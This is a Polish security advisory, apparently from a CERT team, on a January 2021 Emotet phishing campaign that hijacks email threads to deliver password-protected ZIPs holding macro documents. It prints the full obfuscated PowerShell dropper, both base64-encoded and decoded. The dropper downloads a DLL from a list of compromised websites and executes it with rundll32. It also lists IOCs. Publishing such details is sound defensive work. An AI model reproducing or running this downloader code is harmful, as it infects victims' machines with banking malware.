Powrót Emoteta

Po krótkiej przerwie do internautów znów trafiają maile ze złośliwymi plikami, zawierającymi trojana Emotet. Tym razem przestępcy porzucili używany przez pierwsze miesiące pandemii motyw Covid-19.

W kampanii, której próbki trafiły do nas, przestępcy – przynajmniej po części – idą na łatwiznę.

Z jednej strony bowiem wysyłają mail po prostu z hasłem do archiwum, z drugiej jednak – niejako włączają się w istniejącą konwersację, „podszywając” się pod osobę, z którą wymieniamy korespondencję. Skąd włączenie się w konwersację? Po prostu komputer nadawcy jest już zainfekowany. Oczywiście nie ma on pojęcia o wysłaniu maila, malware pozostawia jego imię i nazwisko, podstawiając jednak inne adresy. W naszym przypadku były to:

paola.respaldiza@iuris27.com
hazel.deluna@cronics-inc.com

W próbkach, które trafiły do CERT Orange Polska, plik nosił nazwę Doc-2021_01_13-6200.zip, dodatkowo trafiliśmy na dwa różne hasła: 254 i 031.

Jeśli jednak skusimy się na rozpakowanie pliku ZIP i uruchomienie zawartego w nim .doc o tej samej nazwie (i rzecz jasna innym rozszerzeniu), zobaczymy coś takiego:

Fałszywy komunikat o zabezpieczeniach ma przekonać ofiarę do uruchomienia zawartych w dokumencie makr, a te – zainicjować uruchomienie powłoki PowerShell a następnie pobranie komponentów złośliwego oprogramowania w postaci bibliotek .dll, a także komunikację do swojego serwera Command & Control.

Po uruchomieniu pliku na powłoce systemowej wirus próbuje wykonać następujące polecenia w celu pobrania swoich złośliwych bibliotek:

cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc              IAAgACQAOABEAEUAIAAgAD0AIABbAFQAWQBQAGUAXQAoACIAewAwAH0AewAzAH0AewA0AH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAFMAJwAsACcAUgBlAEMAdABvAFIAeQAnACwAJwBtAC4AaQBPAC4ARABpACcALAAnAFkAJwAsACcAUwB0AEUAJwApADsAIAAgACQAcQAwADkAIAA9ACAAWwBUAFkAcABFAF0AKAAiAHsANwB9AHsANAB9AHsAMQB9AHsAMwB9AHsANQB9AHsANgB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAIAAnAGkATgAnACwAJwBtAC4AbgBlACcALAAnAFQATQBBAE4AYQBnAEUAcgAnACwAJwBUACcALAAnAHMAdABFACcALAAnAC4AcwBFACcALAAnAFIAdgBJAEMARQBwAG8AJwAsACcAUwB5ACcAKQA7ACAAJABRAG8AbABzADUAdgB2AD0AJABOADMAXwBLACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABXADMANQBRADsAJABJADMAXwBSAD0AKAAnAFIAJwArACgAJwA2ACcAKwAnADQARAAnACkAKQA7ACAAKAAgAGcAZQBUAC0AdgBBAFIASQBhAGIAbABFACAAKAAiADgAIgArACIAZABlACIAKQAgAC0AdgBBAEwAVQBFAG8ATgBMAFkAKQA6ADoAIgBDAGAAUgBlAGEAYABUAGUARABJAHIAYABFAEMAYABUAE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBWACcAKwAnAEwAZgAnACkAKwAoACcATABkADUAZAAnACsAJwBiACcAKwAnAGkAMwBWAEwAJwArACcAZgAnACkAKwAoACcAVwAnACsAJwBlADkAdwAnACsAJwBtAGcAJwApACsAJwA0ACcAKwAoACcAVgBMACcAKwAnAGYAJwApACkAIAAtAHIARQBQAGwAYQBjAEUAKAAnAFYAJwArACcATABmACcAKQAsAFsAYwBIAGEAUgBdADkAMgApACkAOwAkAFcAMQA2AFEAPQAoACcATAA3ACcAKwAnADYAVwAnACkAOwAgACAAKAAgACAASQBUAGUATQAgAFYAYQBSAEkAYQBCAGwARQA6AFEAMAA5ACAAIAApAC4AdgBhAEwAVQBlADoAOgAiAHMAYABlAGMAdQBSAGAASQBgAFQAeQBQAFIAbwBUAE8AYABjAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQAUwA2ADcATgA9ACgAKAAnAFEANwAnACsAJwAzACcAKQArACcAVgAnACkAOwAkAFcAdwBpAHIAdgA1AGEAIAA9ACAAKAAnAFgANQAnACsAJwA1AEgAJwApADsAJABOADAAMwBZAD0AKAAnAEQAJwArACgAJwAxADEAJwArACcARAAnACkAKQA7ACQARwBjAHoAdgAyADEAZwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AEwAZAA1AGQAYgBpADMAewAwAH0AVwBlACcAKwAoACcAOQB3ACcAKwAnAG0AJwApACsAJwBnADQAewAwACcAKwAnAH0AJwApACAALQBmACAAIABbAEMASABBAFIAXQA5ADIAKQArACQAVwB3AGkAcgB2ADUAYQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEwAOAA0AE8APQAoACcARwAnACsAKAAnADgANgAnACsAJwBHACcAKQApADsAJABNAHoAMgA1AF8AMwBuAD0AKAAoACcAdwBdAHgAbQBbACcAKwAnAHYAcwA6AC8ALwAnACsAJwBhAGwAJwArACcAdAAnACsAJwByACcAKQArACgAJwBhAHMAJwArACcAaAAnACkAKwAoACcAaQBmACcAKwAnAHQALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwB3AHAALQAnACsAJwBpACcAKwAnAG4AJwApACsAJwBjACcAKwAoACcAbAAnACsAJwB1AGQAZQAnACkAKwAoACcAcwAnACsAJwAvAEkAJwApACsAKAAnAC8AQAB3AF0AJwArACcAeABtACcAKwAnAFsAdgBzADoAJwArACcALwAvAG8AJwArACcAagBvAGQAJwArACcAZQB0ACcAKwAnAGkAJwApACsAKAAnAGcAcgBlAG0AZQB6AGMAJwArACcAYQBsACcAKwAnAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAvACcAKQArACgAJwBpACcAKwAnADYAMgBzAC8AJwApACsAKAAnAEAAdwAnACsAJwBdAHgAbQBbACcAKwAnAHYAcwA6ACcAKwAnAC8ALwBzACcAKQArACgAJwBuAG8AJwArACcAdwByAGUAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBhAGwALQAnACsAJwBzAGUAcgB2ACcAKwAnAGkAYwBlAHMALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQAnACsAJwBjAG8AbgB0ACcAKwAnAGUAJwApACsAKAAnAG4AdAAvACcAKwAnAFAAMwBaAC8AQAAnACsAJwB3ACcAKwAnAF0AJwArACcAeAAnACsAJwBtAFsAdgA6AC8AJwApACsAKAAnAC8AJwArACcAawBpAHQAcwB1ACcAKwAnAG4AZQBjAG8AJwApACsAKAAnAG0AJwArACcAcABsACcAKQArACgAJwBlAG0AJwArACcAZQAnACsAJwBuACcAKwAnAHQAcwAuAGMAbwBtAC8AdABvACcAKQArACcAbwAnACsAKAAnAC0AJwArACcAbQB1ACcAKQArACgAJwBjAGgALQBwACcAKwAnAGgAcABwACcAKQArACgAJwBxAC8AJwArACcAbgA2ACcAKQArACcANQAnACsAKAAnAFUALwAnACsAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgBzACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBpACcAKQArACgAJwBtACcAKwAnAHAAJwArACcAZQByAGkAbwBvAG4AZQAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvAGMAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQALwBXACcAKwAnAE8AQgAnACkAKwAnAHEAJwArACgAJwAvAEAAJwArACcAdwAnACkAKwAoACcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvAHcAJwArACcAdwB3AC4AYQB1ACcAKwAnAHQAbwBlACcAKwAnAGMAawAtAGIAYQBkACcAKwAnAGUAbgAuAGEAdAAvAHcAcAAtACcAKQArACgAJwBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAnACkAKwAnAC8AdwAnACsAKAAnADAAJwArACcAVgBiACcAKQArACgAJwAvAEAAdwBdAHgAbQBbACcAKwAnAHYAcwAnACkAKwAoACcAOgAvACcAKwAnAC8AcwBoACcAKQArACcAbwBwACcAKwAoACcALgBhAG4AJwArACcAaQBtACcAKQArACcAZQAnACsAKAAnAHcAJwArACcAaABvAC4AYwBvACcAKwAnAG0ALwAnACsAJwBjAG8AJwApACsAKAAnAG4AdAAnACsAJwBlACcAKQArACgAJwBuAHQAJwArACcALwAnACkAKwAoACcAVABqACcAKwAnAC8AJwApACkALgAiAHIARQBwAGwAYABBAGAAYwBlACIAKAAoACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbACcAKwAnAHYAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACcAZAAnACsAKAAnAHMAZQB3ACcAKwAnAGYAJwApACkALAAoACcAdwBlACcAKwAoACcAdgB3ACcAKwAnAGUAJwApACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAUABsAGAAaQB0ACIAKAAkAFcAOAA1AFIAIAArACAAJABRAG8AbABzADUAdgB2ACAAKwAgACQAQgA0ADYATgApADsAJABMADgAMwBUAD0AKAAnAFAAJwArACgAJwA1ADYAJwArACcAUAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARgB5ADQAMAB3AGoAZwAgAGkAbgAgACQATQB6ADIANQBfADMAbgApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3ACcAKwAnAC0ATwBiAGoAZQBjAHQAJwApACAAUwB5AFMAVABlAG0ALgBOAEUAVAAuAFcARQBCAEMATABJAEUATgB0ACkALgAiAEQAYABPAHcATgBMAG8AYQBEAGAARgBgAGkATABlACIAKAAkAEYAeQA0ADAAdwBqAGcALAAgACQARwBjAHoAdgAyADEAZwApADsAJABSADUANQBRAD0AKAAnAFkANAAnACsAJwA4AFMAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEcAYwB6AHYAMgAxAGcAKQAuACIAbABgAGUATgBgAEcAdABoACIAIAAtAGcAZQAgADMANgAzADMAMgApACAAewAuACgAJwByAHUAbgBkAGwAJwArACcAbAAzADIAJwApACAAJABHAGMAegB2ADIAMQBnACwAKAAoACcAUwAnACsAJwBoAG8AdwBEACcAKQArACgAJwBpAGEAJwArACcAbABvACcAKQArACcAZwAnACsAJwBBACcAKQAuACIAVABPAFMAYABUAFIASQBgAE4ARwAiACgAKQA7ACQAWAAzADMAQgA9ACgAJwBLADYAJwArACcANQBGACcAKQA7AGIAcgBlAGEAawA7ACQATwA2ADUATAA9ACgAKAAnAE0ANwAnACsAJwAzACcAKQArACcATgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAMABfAEoAPQAoACcARgAnACsAKAAnADkAJwArACcAMgBRACcAKQApAA==

$8DE= [TYPe](„{0}{3}{4}{2}{1}” -f’S’,’ReCtoRy’,’m.iO.Di’,’Y’,’StE’);$q09 = [TYpE](„{7}{4}{1}{3}{5}{6}{0}{2}” -f 'iN’,’m.ne’,’TMANagEr’,’T’,’stE’,’.sE’,’RvICEpo’,’Sy’); $Qols5vv=$N3_K + [char](64) + $W35Q;$I3_R=(’R’+(’6’+’4D’)); ( geT-vARIablE („8″+”de”) -vALUEoNLY)::”C`Rea`TeDIr`EC`TOrY”($HOME + (((’V’+’Lf’)+(’Ld5d’+’b’+’i3VL’+’f’)+(’W’+’e9w’+’mg’)+’4’+(’VL’+’f’)) -rEPlacE(’V’+’Lf’),[cHaR]92));$W16Q=(’L7’+’6W’);(ITeM VaRIaBlE:Q09).vaLUe::”s`ecuR`I`TyPRoTO`coL” = (’T’+(’l’+’s12′));$S67N=((’Q7’+’3′)+’V’);$Wwirv5a = (’X5’+’5H’);$N03Y=(’D’+(’11’+’D’));$Gczv21g=$HOME+(('{0’+’}Ld5dbi3{0}We’+(’9w’+’m’)+’g4{0’+’}’) -f[CHAR]92)+$Wwirv5a+(’.’+(’d’+’ll’));$L84O=(’G’+(’86’+’G’));$Mz25_3n=((’w]xm[’+’vs://’+’al’+’t’+’r’)+(’as’+’h’)+(’if’+’t.’)+(’c’+’om/wp-’+’i’+’n’)+’c’+(’l’+’ude’)+(’s’+’/I’)+(’/@w]’+’xm’+'[vs:’+’//o’+’jod’+’et’+’i’)+(’gremezc’+’al’+’.c’)+(’o’+’m/’)+(’wp’+’/’)+(’i’+’62s/’)+(’@w’+’]xm[’+’vs:’+’//s’)+(’no’+’wre’)+(’mo’+’v’)+(’al-’+’serv’+’ices.’+’co’+’m’+’/wp’)+(’-’+’cont’+’e’)+(’nt/’+’P3Z/@’+’w’+’]’+’x’+’m[v:/’)+(’/’+’kitsu’+’neco’)+(’m’+’pl’)+(’em’+’e’+’n’+’ts.com/to’)+’o’+(’-’+’mu’)+(’ch-p’+’hpp’)+(’q/’+’n6′)+’5’+(’U/’+’@’+’w]xm’)+('[vs’+’:’)+(’//’+’i’)+(’m’+’p’+’erioone.’)+(’com’+’/con’+’te’+’nt/W’+’OB’)+’q’+(’/@’+’w’)+(’]x’+’m[v’+’://w’+’ww.au’+’toe’+’ck-bad’+’en.at/wp-’)+(’co’+’n’)+(’ten’+’t’)+’/w’+(’0’+’Vb’)+(’/@w]xm[’+’vs’)+(’:/’+’/sh’)+’op’+(’.an’+’im’)+’e’+(’w’+’ho.co’+’m/’+’co’)+(’nt’+’e’)+(’nt’+’/’)+(’Tj’+’/’)).”rEpl`A`ce”(((’w]’+’x’)+(’m[’+’v’)),([array]((’d’+(’sew’+’f’)),(’we’+(’vw’+’e’))),(’ae’+’ff’),(’ht’+’tp’))[2]).”sPl`it”($W85R + $Qols5vv + $B46N);$L83T=(’P’+(’56’+’P’));foreach ($Fy40wjg in $Mz25_3n){try{(.(’Ne’+’w’+’-Object’) SySTem.NET.WEBCLIENt).”D`OwNLoaD`F`iLe”($Fy40wjg, $Gczv21g);$R55Q=(’Y4’+’8S’);If ((&(’Get-It’+’e’+’m’) $Gczv21g).”l`eN`Gth” -ge 36332) {.(’rundl’+’l32′) $Gczv21g,((’S’+’howD’)+(’ia’+’lo’)+’g’+’A’).”TOS`TRI`NG”();$X33B=(’K6’+’5F’);break;$O65L=((’M7’+’3′)+’N’)}}catch{}}$E0_J=(’F’+(’9’+’2Q’))

Indicators of Compromise

Doc-2021_01_13-6200.zip (1020ca2b8a0fb18b8234a3acda7e056f)

Doc-2021_01_13-6200.doc (52cb4262f0f965aae77e3b2c423cf528)